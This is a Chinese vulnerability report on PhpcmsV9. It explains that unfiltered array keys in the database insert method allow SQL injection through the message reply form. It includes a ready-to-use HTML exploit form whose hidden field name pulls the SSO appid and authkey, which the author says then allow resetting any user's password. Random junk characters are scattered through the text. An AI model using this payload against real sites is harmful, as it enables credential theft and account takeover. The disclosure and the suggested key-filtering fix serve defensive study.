PhpcmsV9 SQL注射修改任意用户密码漏洞

admin

简要描述：

0 s3 P5 H  ]7 A# V7 }: m" j第二发如约来到，感谢大家的关注，在第二发中使用了一个无限制的SQL注射，最终目的可以修改任意用户密码，建议确认安全危害等级为高。
' m: Z# k' q; E, J3 @: ]+ M2 ^  b
( C+ p- W# r! ^+ y! V& y% ^5 S明天再更新下一个漏洞。
% w: Q$ c9 u# `* B1 V3 K& D详细说明：
# a5 d+ ]5 \! d3 \9 l在/phpcms9/phpcms/modules/message/index.php中有代码如下：

; P" F0 p: k3 x2 X  d) T5 L$messageid = $this->message_db->insert($_POST['info'],true);
8 `) q  c7 M( A

insert方法是key value的，代码如下：
! m+ l: \# b( E- D) ~
public function insert($data, $table, $return_insert_id = false, $replace = false) {
" E* i" e+ M+ d                if(!is_array( $data ) || $table == '' || count($data) == 0) {
                        return false;
- P. V. Z7 B4 {# Q) C4 b2 b                }
7 y" C0 \0 X! P; ]/ W, ^% w! d8 @, Z               
. C# p; T8 p8 F' |( O2 z$ I9 {6 v                $fielddata = array_keys($data);
2 q7 s, @( Q9 C$ X* W/ y9 m                $valuedata = array_values($data);
                array_walk($fielddata, array($this, 'add_special_char'));
                array_walk($valuedata, array($this, 'escape_string'));
               
# D" S1 d4 N; h; y' [- @$ L                $field = implode (',', $fielddata);
. [; X8 ~0 a0 H  X0 V" N: V                $value = implode (',', $valuedata);
2 k8 V6 X9 E0 g. e# G! h
; ^6 g  `2 Y# R7 [# ?% L2 b                $cmd = $replace ? 'REPLACE INTO' : 'INSERT INTO';
                $sql = $cmd.' `'.$this->config['database'].'`.`'.$table.'`('.$field.') VALUES ('.$value.')';
0 d3 M+ {' k: E% y; m1 Q                $return = $this->execute($sql);
1 g' ?* G2 G! r# u, W( J& ?                return $return_insert_id ? $this->insert_id() : $return;
) C9 C3 f- q% B        }

# z7 w/ q5 n/ X0 F$ K# S
嗯，很遗憾的是

array_walk($fielddata, array($this, 'add_special_char'));
6 ^8 R( Y7 E6 M( U
3 H6 h* @, b6 C' n/ f
/ J. Q4 A+ u/ R8 \( N' d中并没有对key做任何的过滤，所以，第一段提到的代码导致了一个SQL注射漏洞 ：（。
0 P2 w1 _! M" v! E* B% }( C
到此，为了poc一下，我读取了我本地的authkey，接下来我已经可以重置任意用户密码了，后面的事情我就没有演示了。

% V5 Q. b6 o& |漏洞证明：
" V' m1 j" q- H& D+ z读出了phpsso_server的appid和authkey，然后可以调用client.class.php中的ps_member_edit函数修改任意用户密码。
/ Z3 Z7 D( l; `2 \7 v! F
  h6 x: C% U, C8 z
. S" _+ u# Q! ~$ l: \表单如下：用户名什么的得自己改一改。
; x4 G6 C( X1 b* n  O8 X% ~: o<form name="myform" action="http://localhost/phpcms9/index.php?m=message&c=index&a=reply" method="post" id="myform">
7 n4 M7 K& u  w( u7 U% Z<table width="100%" cellspacing="0" class="table_form">
<tr>
<th>标 题：</th>
& @7 |% C) [+ n- q<td><input name="info[subject]" type="text" id="subject" size="30" value="Re: hh"  class="input-text"/></td>
</tr>
3 q( l. h, |, q" g: n8 E* h% L$ i<tr>
<th>内 容：</th>
<td><textarea name="info[content]"  id="con" rows="5" cols="50"></textarea></td>
* D# R0 p& y; f. s9 r</tr>
% q# l, q$ K% u3 t2 P<input type="hidden" name="info[replyid]" value="2" />
0 U( Y+ R& k% l/ i! f( E5 _<input type="hidden" name="info[send_to_id]" value="cc" />
<input type="hidden" name="info[send_from_id]" value="hh">
<!-- 漏洞的利用重点在这里开始 -->
. S0 N0 F1 \: Z  d" |<input type="hidden" name="info[`status`) values ((Select group_concat(appid,CHAR(42),authkey) from v9_sso_applications),1,1,1,CHAR(104, 104),1)#]" value="cc" />
<!-- 漏洞的利用重点在这里结束 -->
<tr>
<th>验证码：</th>
* A, R5 e# t9 @9 i3 V0 x<td><input name="code" type="text" id="code" size="10"  class="input-text"/> <img id='code_img' onclick='this.src=this.src+"&"+Math.random()' src='http://localhost/phpcms9/api.php?op=checkcode&code_len=4&font_size=14&width=110&height=30&font_color=&background='></td>
</tr>
3 z: W) ~5 z/ L7 B; k0 \* s' {<tr>
2 H) W, R: Z& L  k3 J<td></td>
<td colspan="2"><label>
: P7 c" y5 ^. E, Q<input type="submit" name="dosubmit" id="dosubmit" value="确 定" class="button"/>
& _- O7 D4 W* ~2 H</label></td>
6 O3 ^, ?8 \$ Y! U/ _</tr>
" T3 M! Y! w# r$ _</table>
</form>
在add_special_char函数内对key做过滤就可以了。



. H! n7 ]+ `3 i9 M